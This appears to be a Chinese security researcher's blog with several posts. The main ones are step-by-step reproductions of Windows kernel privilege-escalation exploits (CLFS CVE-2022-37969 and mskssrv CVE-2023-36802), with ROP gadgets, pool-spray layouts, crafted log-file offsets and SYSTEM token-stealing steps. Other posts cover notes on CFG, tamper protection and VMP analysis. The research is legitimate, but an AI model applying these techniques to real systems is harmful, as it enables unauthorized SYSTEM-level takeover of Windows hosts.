使用ROPgadget搜索可以操作rcx的指令

python C:\Users\x\AppData\Local\Programs\Python\Python311\Scripts\ROPgadget --binary C:\users\x\downloads\ntoskrnl.exe  --only "pop rcx|ret"

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

我们只能更改smep bit位置，更改其他比特位很可能会直接BSOD

我们需要修改rsp到我们可以控制的位置

这里可以使用r11修改rsp的值

0x00000001403e8f86

流程

在用户模式分配地址为0x10000的内存

使用1406e6592 将r8修改为0x10000

使用140579df6将r11的值保存到[r8]

此时我们用掉了10字节，一共有38字节可以用

卧槽，没有可以操作r11的代码我需要找找其他的模块

使用0x00000001403e8f86修改rsp的值为r11

修复原始rsp的值为原始的返回值，或者在跳过一级，直接返回上一级的caller

r11+10 就是原始rsp的值

我可以持续占用栈来直接返回到任意一级的caller

我有90字节的利用空间

在这90字节的空间里面我应该是可以提权的。利用clfs的container对象

我可以利用这一条指令来将container对象的地址修改成指定的用户模式地址

0x000000014022925b : mov ah, 0x49 ; mov dword ptr [rcx], eax ; ret

使用这个指令将rcx修改为container context的18偏移的对应位置

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

使用这条指令控制eax的值

0x00000001405c3bd9 : mov dword ptr [rax], 0x28 ; mov eax, ecx ; ret

CLFS cve-2022-37969

2025-06-05T00:00:00+02:00

references:

镜像

poc项目

clfs驱动ida文件

成功将exp进程的token重写为system的token

安装完这个升级补丁之后就和上面文章中的测试环境版本是一致的了

CLFS即 Common Log File System

blf（base log file）日志文件格式

三种类型的record

control、base、truncate

我们只关注base，因为只有他和这个漏洞相关

blockheader的结构体定义：

typedef struct _CLFS_LOG_BLOCK_HEADER
{
    UCHAR MajorVersion;
    UCHAR MinorVersion;
    UCHAR Usn;
    CLFS_CLIENT_ID ClientId;
    USHORT TotalSectorCount;
    USHORT ValidSectorCount;
    ULONG Padding;
    ULONG Checksum;
    ULONG Flags;
    CLFS_LSN CurrentLsn;
    CLFS_LSN NextLsn;
    ULONG RecordOffsets[16];
    ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

sizeof(CLFS_LOG_BLOCK_HEADER )=0x70

sector type枚举

const UCHAR SECTOR_BLOCK_NONE   = 0x00;
const UCHAR SECTOR_BLOCK_DATA   = 0x04;
const UCHAR SECTOR_BLOCK_OWNER  = 0x08;
const UCHAR SECTOR_BLOCK_BASE   = 0x10;
const UCHAR SECTOR_BLOCK_END    = 0x20;
const UCHAR SECTOR_BLOCK_BEGIN  = 0x40;

sector signature存在于每个sector的末尾，偏移量为0x200，它包含两个字节，一个是sector type，另一个是usn

base block起始于blf文件的0x800，终止于0x71ff

漏洞更新补丁，更新完成后版本号变更为978，我们对两个版本的clfs.sys进行对比

通过diff可以看到这两个驱动的一个clfs日志处理相关的函数发生了变动

CClfsBaseFilePersisted::LoadContainerQ

patch相比vuln在这个地方多了一个检查1C0037963，这个在bidiff中也能看到

右侧分支发生了很大的变化

我么可以注意到这个0x1338实际上是_CLFS_BASE_RECORD_HEADER结构体的size

那么这个BaseLogRecord变量就是_CLFS_BASE_RECORD_HEADER，在ida中导入这个结构体的定义

导入完定义之后，应用之后可以看到如下代码

他把结构体结束位置和cbSymbolZone进行了相加

cbSymbolZone的偏移量是1328h

那么这个字段在原始文件中的偏移就是800h+70h+1328h=1b98h

我们后面会伪造这个字段的值

base block的size

rcx是this

poi(poi(rcx+30)+30) 是blf文件起始地址+800h

从这个pool指令中可以看到整个base block的size是7a00h，这个在后面的堆喷洒中会用到

我们通过循环创建logfile的方式来使得内核中出现很多clfs pool，然后直到出现7个连续的pool，就停下来，如下图所示

现在我们已经拥有了7个连续的间隔为0x10000，size为0x7a00的内存块

CreatePipe() / NtFsControlFile()

references

使用这种方法可以获取到一块任意读取的内核内存，通过bigpoolinfo技术查询tag来定位，tag是0x7441704E NpAt（Named Pipe AtTribute）

这里是我们写入的数据，前面有24h字节的系统数据，后面的就是我们自己的数据

0x18是buffersize，比我们实际传进去的少了2bytes，我也不知道为啥，我们的实际长度是fd8h，内核里面是fd6h

_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100);

关键位置

我们现在要看一下68h这个signature offset的值是什么时候被更改掉的

在我们第二次打开初始log文件时，此时这个文件的内容已经被修改了，68h被修改50h，我们在源代码中调用一下int3来中断到调试器中，此时我们开启CLFS!CClfsBaseFilePersisted::LoadContainerQ函数断点，看一下此时的68h，在内核中也是0x50

然后我们来在这个地方下一个写入断点

触发后的调用栈如下

1: kd> g
Breakpoint 3 hit
CLFS!ClfsEncodeBlockPrivate+0xc4:
fffff803`2bc366b4 4983c002        add     r8,2
1: kd> dqs ffffc006`d55a0068  l1
ffffc006`d55a0068  00000000`ffff0050
1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffd88b`8477ffe0 fffff803`2bc33535     CLFS!ClfsEncodeBlockPrivate+0xc4
01 ffffd88b`8477fff0 fffff803`2bc5dd02     CLFS!ClfsEncodeBlock+0x1d
02 ffffd88b`84780020 fffff803`2bc5d720     CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x152
03 ffffd88b`847800b0 fffff803`2bc334ef     CLFS!CClfsBaseFilePersisted::FlushImage+0x40
04 ffffd88b`847800f0 fffff803`2bc393b5     CLFS!CClfsLogFcbPhysical::FlushMetadata+0xef
05 ffffd88b`84780140 fffff803`2bc6a313     CLFS!CClfsLogFcbPhysical::Initialize+0xc79
06 ffffd88b`84780250 fffff803`2bc5fecb     CLFS!CClfsRequest::Create+0x48b
07 ffffd88b`847803a0 fffff803`2bc5fc97     CLFS!CClfsRequest::Dispatch+0x97
08 ffffd88b`847803f0 fffff803`2bc5fbe7     CLFS!ClfsDispatchIoRequest+0x87
09 ffffd88b`84780440 fffff803`29c8a6a5     CLFS!CClfsDriver::LogIoDispatch+0x27
0a ffffd88b`84780470 fffff803`2a148d37     nt!IofCallDriver+0x55
0b ffffd88b`847804b0 fffff803`2a139092     nt!IopParseDevice+0x897
0c ffffd88b`84780670 fffff803`2a138501     nt!ObpLookupObjectName+0x652
0d ffffd88b`84780810 fffff803`2a081adf     nt!ObOpenObjectByNameEx+0x1f1
0e ffffd88b`84780940 fffff803`2a0816b9     nt!IopCreateFile+0x40f
0f ffffd88b`847809e0 fffff803`29e2d375     nt!NtCreateFile+0x79
10 ffffd88b`84780a70 00007fff`50224624     nt!KiSystemServiceCopyEnd+0x25
11 00000079`eed7e718 00007fff`127b48e2     ntdll!NtCreateFile+0x14
12 00000079`eed7e720 00007ff6`8df724ba     clfsw32!CreateLogFile+0x6c2
13 00000079`eed7e8c0 00007ff6`8df93c01     lfs+0x24ba

关键位置

ffffffff00000写入1C001295C

signature offset写入1C000669E

溢出的关键位置 1C0040880

下面我说的800的意思就是base block的起始位置，800是他相对于文件开头的偏移量，这个800是个16进制值，如果不特殊说明，我下面说的所有的数字都是16进制形式的

循环计算出需要构造的值

可以看到1bfe的word值为0xffff，这个值是在1C001295C 写入的，这个偏移我们是可以控制的，因为我们可以控制ccoffsetArray的第一个ele为0x1b30，他指示client context对象相对于800+70的偏移位置，那么也就是相对于800的偏移是1ba0，而1C001295C 写入的是client context的0x58的qword，那么就是1ba0+58=1bf8，也就是说从1bf8长度为8的内存的内容是这个样子的

1: kd> db poi(poi(rcx+30)+30)+1bf8 l8
ffffc006`cfbdabf8  00 00 00 00 ff ff ff ff

那么很明显，从1bfe（相对于1bf8跳过6字节）读取一个DWORD的话就会读取到最后的两个ff

而1C000669E处循环中的v10的值我们也是可以控制的，他是由800+signatureoffset计算出来的，而signatureoffset字段的值我们是可以伪造的，这个循环里的a1就是800

通过上面的循环计算，我们知道读取到ffff的时候，v10增长了1a字节，而signatureoffset字段相对于800的偏移量是68h，我们想要覆盖掉68h的高WORD部分，也就是0x6a，6a-1a=50h，那么我们只需要将初始signatureoffset字段的值设置为50h即可

可以看到这里用到了signatureoffset字段，由于我们把他的高字节写成了ffffh，可以保证这个判断条件总是为false，从而防止返回错误，如果没有写入ffff到高字节，那么我们会因为cbSymbolZone过大而返回错误，其实这里就是一个越界检查，被我们伪造的数据给绕过了

然后在下面通过伪造的cbSymbolZone来造成outbound write

连续间隔pool

在GetOffsetBetweenPools函数中创建了很多随即名称的logfile，每次创建都会触发内核分配内存，得到连续6个相同间隔的pool之后返回，而且这些连续pool的间隔总是11000h，关键就是引发系统内存管理器的惯性分配，这是我自己瞎发明的名词，哈哈，但是我感觉就是使用了这个，后面分配内存也是有挺大的概率会不满足我们的条件的，后面我可以尝试把这个函数删了，看看他是否有影响，目前看来用处不大

这个操作很有必要，因为如果没有前面这一对操作，内存管理器大概率不会分配出来正好间隔11000h的两块内存，而如果我们指示反复操作正常和异常两个文件，那么内存管理器最终会给异常文件一直分配同一个内存地址

valid pool addr: 0xFFFFC006D239C000
valid pool addr: 0xFFFFC006D23AD000
valid pool addr: 0xFFFFC006D0D0C000
valid pool addr: 0xFFFFC006D0D03000
valid pool addr: 0xFFFFC006D0D14000
valid pool addr: 0xFFFFC006D23BE000
valid pool addr: 0xFFFFC006D0D24000
valid pool addr: 0xFFFFC006D0D35000
valid pool addr: 0xFFFFC006D0D46000
valid pool addr: 0xFFFFC006D0D57000
valid pool addr: 0xFFFFC006D2769000
valid pool addr: 0xFFFFC006D277A000
valid pool addr: 0xFFFFC006D278B000
valid pool addr: 0xFFFFC006D279C000
valid pool addr: 0xFFFFC006D27AD000
valid pool addr: 0xFFFFC006D27BE000
valid pool addr: 0xFFFFC006D0036000
valid pool addr: 0xFFFFC006D0047000
valid pool addr: 0xFFFFC006D0058000
valid pool addr: 0xFFFFC006D0069000
valid pool addr: 0xFFFFC006D007A000
valid pool addr: 0xFFFFC006D008B000
valid pool addr: 0xFFFFC006D009C000

这样之后，等我们第一次调用pipeArbitraryWrite函数，在该函数中使用CreateLogFile函数分别打开异常和正常log文件的时候，他们两个在内核内存中的间距也一定是11000h，我们可以验证一下

但是他这个是有概率的，并不总是能够成功

像下面这种，就算成功了，正常文件的内容在异常文件的地址+11000h

可一看到此时memset的dst已经加上了一个非常大的数

我们一场文件的buffer地址落后正常文件的buffer地址11000h，此时我们的目标地址是70+1338+1114b

那么在正常文件中就是70+1338+14b

1: kd> ?70+1338+14b
Evaluate expression: 5363 = 00000000`000014f3

可以看到memset被调用之后出现了下面这种情况

注意我们这里用的这个基地址是文件中800的位置，也就是说这个东西+70就是_CLFS_BASE_RECORD_HEADER结构体了

当运行到memest的时候，目标位置是正常文件的800的14f3偏移，

从上图可以看到正常文件的container数组的第一个成员的值是1468，而这个1468是相对于800+70的，也就是说相对于800的偏移是1468+70=14d8

而+18正是container对象的地址

那么也就是14d8+18=14f0

通过我们的精准控制，可以把这个地址值ffffc006c31468c0的高5字节全部清0，只保留低位3字节

memset运行完成后结果如下

为什么要控制container对象的地址呢？

因为在我们关闭正常log文件的句柄时，作为对象销毁流程的一部分，CClfsBaseFilePersisted::RemoveContainer函数会被调用，他会从container context的0x18偏移取出来container对象，然后调用他的成员函数

可以看到这里调用了两个成员函数，一个位于18，一个位于8

我们前面的堆喷射，这个时候就排上用场了，由于我们抹掉了container对象地址的高5字节，那么这个地址就变成用户模式的地址了，就可以由堆喷射来进行控制里面的内容，这个用户模式的第一个qword就是container对象的虚函数表，这样我们就可以控制0x18和0x8处要调用的函数以及传入的参数了

可以看到原始的内核地址是16字节对齐的，这也是为什么我们的堆喷射要每隔10h字节射一次

我们从0x10000开始，每隔10h射一个0x5000000到qword内存中，范围是0x10000~0x1000000

由于篡改后的地址只有3字节，0x1000000完全可以覆盖这个地址的最大值，而这个地址又不太可能低于10000，所以这个范围就够用了

我们在exp代码中控制了内存地址0x5000000的值

之所以把18设置为ClfsEarlierLsn函数，是因为这个函数把rdx的值设置为了FFFFFFFF，而这个值正好可以作为用户模式的地址，这里有一点点rop的味道

我们在exp代码中，已经在FFFFFFFFh这个地址中保存了system进程的eprocess地址

需要注意的是system的eprocess是可以在用户模式下使用普通用户的权限查询到的

函数运行结束，rdx变成包含了system eprocess的地址

出来之后我们调用SeSetAccessStateGenericMapping函数

这个函数内容可以说是相当简单，就是把rdx的OWORD读出来写到poi(rcx+48)+8这个地址中

而rcx我们是可以控制的，+48的内容由堆喷控制

可以看到这里i从10008开始，每隔10h字节射一次v16a变量的值，在内存中的布局就会变成这个样子

0000000005000000 和ffffc006d09fe018会交替出现，保证rcx+48取值出来一定是ffffc006d09fe018

而ffffc006d09fe018是我们exp代码中使用_NtFsControlFile创建出来的内核buffer地址

SeSetAccessStateGenericMapping函数结束后，这块内核buffer的值如下

可以看到+8位置已经写入了system ep的地址

而在_NtFsControlFile函数伪造的内核buffer中，这个位置本身应该是指向用户控制的内核buffer的地址的，现在被替换为system ep的地址，所以我们就可以读取system ep地址所指向的内存了

在上面有一个节标题为CreatePipe() / NtFsControlFile()的内容的参考链接中我们提到过如何用这个东西任意读写内存

我们首先使用控制码0x11003C写入了内核内存

然后我们可以使用0x110038来读取这块内存

可以看到这里已经读取到了system ep的token

我们把这个token存入FFFFFFFF中，然后对堆喷射中的+8位置要喷的值进行修改，改为exp进程的ep的token偏移-8

后面我们利用SeSetAccessStateGenericMapping函数的xmmword ptr [rax+8], xmm0指令写入exp的ep的+4b0的10h字节

而MmReserved即使被修改为不正常的值也不会影响程序正常运行

0xffffffff地址中的值改为前面获取到的system ep的token

exp进程的token被替换成system进程的token

此时我们再来创建一个cmd进程，他应该是ntsystem权限

exp

效果

总结

其实就是1C0040880 的边界被绕过了

比较牛逼的地方是1C000669E，不知道原作者是怎么发现可以在这里修改这个地方的值的

这个利用链确实屌

PE壳--upx

2025-06-03T00:00:00+02:00

cfg如何工作

reference：

在阅读upx源码的时候发现默认不支持开启了cfg的pe文件，比如尝试给notepad.exe加壳就会出现报错

看一下cfg是如何实现的

cfg可以在vs的编译选项中开启

这里有一个使用了间接调用的示例代码

开启cfg

关闭cfg

开启了cfg的pe相比关闭cfg的pe中会多出来这些东西

开启cfg

关闭cfg

这里面有如下三个关键部分

cfg check function pointer，指向一个空函数
cfg function table，内核会用到这个数据
cfg flag

check function pointer你在ida或者pebear中看他是一个空函数，但是它实际上会在pe加载的时候由LdrpCfgProcessLoadConfig函数设置为下面这个函数

不过我们实际测试的话，发现并没有直接调用check function pointer，而是调用的__guard_dispatch_icall_fptr

0:000> dqs test+0020280 l100007ff6`4bd40280  00007ffb`79f1cd00 ntdll!LdrpDispatchUserCallTarget

其实check（LdrpValidateUserCallTarget）函数和dispatch（LdrpDispatchUserCallTarget）函数的实际代码是一样的

module tamper protection

references：

https://windows-internals.com/understanding-a-new-mitigation-module-tampering-protection/

这个东西可以预防process hollowing技术

在eprocess中可以看到这个标志位

1: kd> dx @$curprocess.KernelObject.MitigationFlagsValues 
@$curprocess.KernelObject.MitigationFlagsValues                  [Type: <unnamed-tag>]
    [+0x000 ( 0: 0)] ControlFlowGuardEnabled : 0x1 [Type: unsigned long]
    [+0x000 ( 1: 1)] ControlFlowGuardExportSuppressionEnabled : 0x0 [Type: unsigned long]
    [+0x000 ( 2: 2)] ControlFlowGuardStrict : 0x0 [Type: unsigned long]
    [+0x000 ( 3: 3)] DisallowStrippedImages : 0x0 [Type: unsigned long]
    [+0x000 ( 4: 4)] ForceRelocateImages : 0x0 [Type: unsigned long]
    [+0x000 ( 5: 5)] HighEntropyASLREnabled : 0x1 [Type: unsigned long]
    [+0x000 ( 6: 6)] StackRandomizationDisabled : 0x0 [Type: unsigned long]
    [+0x000 ( 7: 7)] ExtensionPointDisable : 0x0 [Type: unsigned long]
    [+0x000 ( 8: 8)] DisableDynamicCode : 0x0 [Type: unsigned long]
    [+0x000 ( 9: 9)] DisableDynamicCodeAllowOptOut : 0x0 [Type: unsigned long]
    [+0x000 (10:10)] DisableDynamicCodeAllowRemoteDowngrade : 0x0 [Type: unsigned long]
    [+0x000 (11:11)] AuditDisableDynamicCode : 0x0 [Type: unsigned long]
    [+0x000 (12:12)] DisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
    [+0x000 (13:13)] AuditDisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
    [+0x000 (14:14)] EnableFilteredWin32kAPIs : 0x0 [Type: unsigned long]
    [+0x000 (15:15)] AuditFilteredWin32kAPIs : 0x0 [Type: unsigned long]
    [+0x000 (16:16)] DisableNonSystemFonts : 0x0 [Type: unsigned long]
    [+0x000 (17:17)] AuditNonSystemFontLoading : 0x0 [Type: unsigned long]
    [+0x000 (18:18)] PreferSystem32Images : 0x0 [Type: unsigned long]
    [+0x000 (19:19)] ProhibitRemoteImageMap : 0x0 [Type: unsigned long]
    [+0x000 (20:20)] AuditProhibitRemoteImageMap : 0x0 [Type: unsigned long]
    [+0x000 (21:21)] ProhibitLowILImageMap : 0x0 [Type: unsigned long]
    [+0x000 (22:22)] AuditProhibitLowILImageMap : 0x0 [Type: unsigned long]
    [+0x000 (23:23)] SignatureMitigationOptIn : 0x0 [Type: unsigned long]
    [+0x000 (24:24)] AuditBlockNonMicrosoftBinaries : 0x0 [Type: unsigned long]
    [+0x000 (25:25)] AuditBlockNonMicrosoftBinariesAllowStore : 0x0 [Type: unsigned long]
    [+0x000 (26:26)] LoaderIntegrityContinuityEnabled : 0x0 [Type: unsigned long]
    [+0x000 (27:27)] AuditLoaderIntegrityContinuity : 0x0 [Type: unsigned long]
    [+0x000 (28:28)] EnableModuleTamperingProtection : 0x0 [Type: unsigned long]
    [+0x000 (29:29)] EnableModuleTamperingProtectionNoInherit : 0x0 [Type: unsigned long]
    [+0x000 (30:30)] RestrictIndirectBranchPrediction : 0x1 [Type: unsigned long]
    [+0x000 (31:31)] IsolateSecurityDomain : 0x0 [Type: unsigned long]

28和29bit

在nt内核的PspApplyMitigationOptions函数中设置这两个标志位

这两个bit的检查位置在ntdll的LdrpGetImportDescriptorForSnap函数中

就是在这里检查的

需要设置一下这个内存位置的类型，它实际上是_PS_SYSTEM_DLL_INIT_BLOCK结构体，这个符号可以在combase.dll中找到

0:000> dt _PS_SYSTEM_DLL_INIT_BLOCK 
combase!_PS_SYSTEM_DLL_INIT_BLOCK
   +0x000 Size             : Uint4B
   +0x008 SystemDllWowRelocation : Uint8B
   +0x010 SystemDllNativeRelocation : Uint8B
   +0x018 Wow64SharedInformation : [16] Uint8B
   +0x098 RngData          : Uint4B
   +0x09c Flags            : Uint4B
   +0x09c CfgOverride      : Pos 0, 1 Bit
   +0x09c Reserved         : Pos 1, 31 Bits
   +0x0a0 MitigationOptionsMap : _PS_MITIGATION_OPTIONS_MAP
   +0x0b8 CfgBitMap        : Uint8B
   +0x0c0 CfgBitMapSize    : Uint8B
   +0x0c8 Wow64CfgBitMap   : Uint8B
   +0x0d0 Wow64CfgBitMapSize : Uint8B
   +0x0d8 MitigationAuditOptionsMap : _PS_MITIGATION_AUDIT_OPTIONS_MAP

我们把这个内容保存成头文件，然后加载到ntdll的ida项目中

struct _PS_MITIGATION_OPTIONS_MAP
{
  unsigned __int64 Map[3];
};
typedef _PS_MITIGATION_OPTIONS_MAP *PPS_MITIGATION_OPTIONS_MAP;
struct _PS_MITIGATION_AUDIT_OPTIONS_MAP
{
  unsigned __int64 Map[3];
};
typedef _PS_MITIGATION_AUDIT_OPTIONS_MAP *PPS_MITIGATION_AUDIT_OPTIONS_MAP;
struct _PS_SYSTEM_DLL_INIT_BLOCK
{
  unsigned int Size;
  unsigned __int64 SystemDllWowRelocation;
  unsigned __int64 SystemDllNativeRelocation;
  unsigned __int64 Wow64SharedInformation[16];
  unsigned int RngData;
   unsigned int ___u5;
  _PS_MITIGATION_OPTIONS_MAP MitigationOptionsMap;
  unsigned __int64 CfgBitMap;
  unsigned __int64 CfgBitMapSize;
  unsigned __int64 Wow64CfgBitMap;
  unsigned __int64 Wow64CfgBitMapSize;
  _PS_MITIGATION_AUDIT_OPTIONS_MAP MitigationAuditOptionsMap;
};
typedef const _PS_SYSTEM_DLL_INIT_BLOCK *PCPS_SYSTEM_DLL_INIT_BLOCK;

然后直接ctrl+G输入LdrSystemDllInitBlock跳转过去，设置类型为_PS_SYSTEM_DLL_INIT_BLOCK

然后在伪代码中选中qword_18019b3b8按y再回车即可

MitigationOptionsMap就是一个包含3个8bytes的结构体而已，每个8bytes存储着不同的mitigation相关的一些flag

这里的>>44 & 3检查的就是PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK标志位

WinBase.h中定义了这个flag

#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK              (0x00000003ui64 << 12)

这个东西在bitmap[1]的高dword上，所以实际上是12+32=44bit，因此上面右移44bit很合理

原作者说在createprocess指定PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK就可以，但是我实际测试发现并没有生效

我只能手动从nt内核给他开启

windwos自带的会开启这个选项的是C:\Windows\System32\SystemSettingsAdminFlows.exe，犹appinfo服务创建，他这个选项是在PspInheritMitigationOptions的下面这个位置开启的

1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffe08e`a5253a10 fffff803`71501b23     nt!PspInheritMitigationOptions+0xb3
01 ffffe08e`a5253a80 fffff803`71504348     nt!PspAllocateProcess+0x16d7
02 ffffe08e`a52542b0 fffff803`712274e5     nt!NtCreateUserProcess+0x778
03 ffffe08e`a5254a70 00007fff`e78d0dc4     nt!KiSystemServiceCopyEnd+0x25

我让chatgpt分析了一下PspInheritMitigationOptions函数，它其实就是把前两个参数整合到第三个参数里面

前两个都是mitigationmap结构体，也就是长度为3的8bytes数组

经过回溯可以知道mitigation选项来自于ntcreateuserprocess的第11个参数

经过一番探索，最终知道这个mitigation是通过ntcreateuserprocess的a11 PS_ATTRIBUTE_LIST传进来的

通过在PspBuildCreateProcessContext函数par @$ra可以知道是在PS_ATTRIBUTE结构体的Attribute字段为0000000000020010 的时候终止循环的

结合内存值我们就可以确定20010就是mitigation属性，长度为18，实际上就是_PS_MITIGATION_OPTIONS_MAP

那么现在我们就来看一下这个属性是如何构造出来的

referecen:

https://drunkmars.top/2022/05/14/NtCreateUserProcess/

使用这个代码可以创建出开启了tamper保护的进程

其实就是手动构造PPS_ATTRIBUTE_LIST

然后还有一点需要注意的就是，我在测试过程中发现这个注册表路径会在PspAllocateProcess函数的这个地方被检查

我们测试的时候，尽量不要使用出现这里面的二进制程序

下面我们要测试一下这个mitigation是怎么跑到用户模式的那个_PS_SYSTEM_DLL_INIT_BLOCK里面的

LdrSystemDllInitBlock的初始化

references ：

https://bbs.kanxue.com/thread-267302-1.htm

这个东西是在内核的PspSetupUserProcessAddressSpace函数中通过调用PspPrepareSystemDllInitBlock来初始化的

在调用PspPrepareSystemDllInitBlock函数之前，会先切换到目标进程的空间中

在这个函数中，poi(PsNtdllExports)就是ntdll的base

然后我们的tamper在用户模式检查的时候出现在相对于LdrSystemDllInitBlock 0xa8的位置，这里是oword操作，直接包含了

v15来自于

这个就是前面创建进程时PspBuildCreateProcessContext函数的第四个参数，0x150偏移就是mitigation map

这样就完成了对LdrSystemDllInitBlock的初始化

tamper protection的检查

现在我们再来看一下这个东西是怎么检查的

我测来测去，发现这个mitigation根本就没有用，process hollowing还是可以正常工作的

VMP 2分析

2025-05-27T00:00:00+02:00

references：

https://back.engineering/blog/2021/05/18#PUSHVSPQ

术语：

VIP，virtual instruction pointer相当于x86的ip寄存器，指向下一条指令的地址，vmp2使用rsi来保存vip的值，rsi就是vip
VSP，virtual stack pointer，相当于x86的rsp，vmp 2使用rbp存储VSP，rbp相当于vsp
VM handler，用于执行虚拟指令的routine，例如VADD64，会将栈上的两个值加起来并将结果和RFLAGS寄存器一起保存在栈上
Virtual Instruction，也被称作虚拟字节码，是由虚拟机负责解释并执行的字节序列，每一个虚拟指令至少包含一个操作数，第一个操作数包含指令的opcode
virtual opcode，所有虚拟指令的第一个操作数，这个是vm handler的index，vmp2的opcode总是1字节
IMM/immeidate value，编码在虚拟指令中的一个值，就是一个等待被操作的数，比如将这个值转移到栈中或者到一个寄存器中，虚拟指令比如LREG，SREG和LCONST都拥有立即数在里面
Transformations，这个术语指的是解密虚拟指令中的操作数或者vm handler的index的操作，包括add\sub\inc\dec\not\neg\shl\shr\ror\rol\BSWAP，操作size为1、2、4、8字节，可以拥有立即数，比如xor rax,0x12345，或者add rax,0x12345

VMP 2有两种混淆手段，一种是大量无用的jcc跳转指令，另一种是大量无用的影响EFLAGS寄存器的指令，比如无意义的cmp或者bit test指令，这两种方式分别被称作opaque branching和dead store

本地寄存器

non-volatile register

rsi总是VIP，操作数从rsi寄存器存储的地址中取出

rsi的初始值由vm_entry初始化

rbp总是VSP，rbp中存储的是本地栈内存地址，

虚拟化

下图是一个简单的斐波那契数列函数虚拟化前后的样子

这里使用的虚拟化工具是tigress

测试源代码

虚拟化命令：

export TIGRESS_HOME=/home/xxx/Music/tigress/3.1
export PATH="$PATH:/home/xxx/Music/tigress/3.1"
tigress --Environment=x86_64:Linux:Gcc:4.6 --Transform=Virtualize --Functions=fib,fac --out=vtest1.c test1.c

在main函数中有个这玩意儿

megaInit函数，不过在虚拟化选项中这个函数并没有用到，可能会在别的选项中用到，这个函数里面的内容是空的

vm entry

然后我们查看汇编代码可以找到虚拟栈

上图中rbp-120h被存储到了rbp-128h中，那么rbp-128h很可能就是VSP

而且观察这个局部变量的交叉引用和使用方式，看起来也很像是VSP

另外我们在上图中也可以看到VIP每次都会先自增1，然后再把自增后的结果存回去

loc_401720:
mov     rax, [rbp+VIP]
add     rax, 1
mov     [rbp+VIP], rax
mov     rax, [rbp+VIP]
mov     eax, [rax]; 自增1取值，就是取出来opcode之后的操作数
movsxd  rdx, eax
mov     rax, [rbp+VSP]  ; 取出VSP
add     rax, 8          ; VSP+=8
lea     rcx, [rbp+var_20]
add     rdx, rcx; 操作数加上一个局部变量地址放入到栈中
mov     [rax], rdx      ; VSP压栈
mov     rax, [rbp+VSP]
add     rax, 8
mov     [rbp+VSP], rax  ; 存储修改后的VSP
mov     rax, [rbp+VIP]
add     rax, 4
mov     [rbp+VIP], rax; VIP+4然后存回去，一共是+5，opcode+操作数

可以注意到的是VSP的增长方向和x86的rsp是反过来的

vm handler

他这个handler的dispatch也是非常的简单粗暴，直接就是一堆cmp跳转

每个opcode对应一个handler，但是这个opcode是随机的并不是固定的，在另一个虚拟化过后的函数fib中，opcode就又都不一样了

CVE-2023-36802 mskssrv type confusion复现

2025-05-26T00:00:00+02:00

references:

https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service

约定，本文所有数字均为16进制

镜像下载网站

镜像地址

sha256: 7f6538f0eb33c30f0a5cbbf2f39973d4c8dea0d64f69bd18e406012f17a8234f

他这个东西的漏洞位置在FSRendezvousServer::FindObject函数中，他这个函数不管你传进来的是个什么对象，最后都会搜索成功，但是后面的代码他又假定这个对象是FSStreamReg对象，然后就导致了漏洞的出现

可以看到这个findobject函数里面，不管你0xc字段的dword是不是1，他都会进行搜索

patch之后的代码如果发现你不是指定类型，直接就返回错误了

这里甚至连函数名都改了

mskssrv里面有两种对象，一个是context一个是stream，两种对象的size不一样，前者是0x78，后者是0x1b8

我跟原始作者的环境好像不太一样，我的stream是0x1b8，他的比我多了0x20字节

我们要控制多出来的这0x140字节的内存

这里是内存分配的代码，0x200代表的是flag——POOL_RAISE_IF_ALLOCATION_FAILURE

并没有明确指定是pagedpool还是non-pagedpool，不指定就默认为non-pagedpool

pool spray 堆喷射

reference:

https://www.crowdstrike.com/blog/sheep-year-kernel-heap-fengshui-spraying-big-kids-pool/

使用如下内核代码可以dump所有的big page

b4 gPoolBigPageTable;
b4 gPoolBigPageTableSize;
// ed gPoolBigPageTable poi(nt!PoolBigPageTable)
// ed gPoolBigPageTableSize poi(nt!PoolBigPageTableSize)
VOID BigPoolDump(int a) {

    if (a) {

        DbgBreakPoint();

        _POOL_TRACKER_BIG_PAGES* poolTrackerTbl = (_POOL_TRACKER_BIG_PAGES*)gPoolBigPageTable;
        b4 entryCnt = gPoolBigPageTableSize / sizeof(_POOL_TRACKER_BIG_PAGES);
        for (size_t i = 0; i < entryCnt; i++) {
            _POOL_TRACKER_BIG_PAGES curEntry = poolTrackerTbl[i];
            if (curEntry.Va != 1) {
                char* _ = (char*)&(curEntry.Key);
                DbgPrint("VA: 0x%p\nSize: 0x%x\nTag:%c%c%c%c\nFreed: %d\nPaged: %d\nCacheAligned: %d\n",
                    curEntry.Va&(~1), curEntry.NumberOfBytes, _[0], _[1], _[2], _[3],
                    curEntry.Va & 1, curEntry.PoolType & 1, (curEntry.PoolType & 4) == 4);

            }
        }
    }
}

我当时测试的时候这个tarcker表长度为0x1000

kd> ? poi(nt!PoolBigPageTableSize)
Evaluate expression: 65536 = 00010000

另外，这个东西也可以直接使用ntquerysysteminformation api来进行查询

代码

运行结果：

pool control

我我们可以在用户模式下产生一些内核对象，并且这种对象的某些字段是可以被我们控制的，并且这块内存还得是可以执行的

我们现在需要找到一个可以帮助我们实现上面这种效果的用户模式的api

只要我们新分配的内存大小超过一个page（4k），就会触发一个big pool allocation

实现方法如下：

创建一个命名管道，执行一个buffer>4KB的写入操作，只写入不读取，这个操作将会导致内核模块NPFS.sys驱动在non-paged pool中执行一个big pool allocation，在内核中分配一个对应大小的buffer

关于npfs的一些知识

写一个管道测试程序，可以得到如下断点

相关测试程序打包到了这个地方

hook handler代码（我们hook的是nt!ExAllocatePoolWithTag）

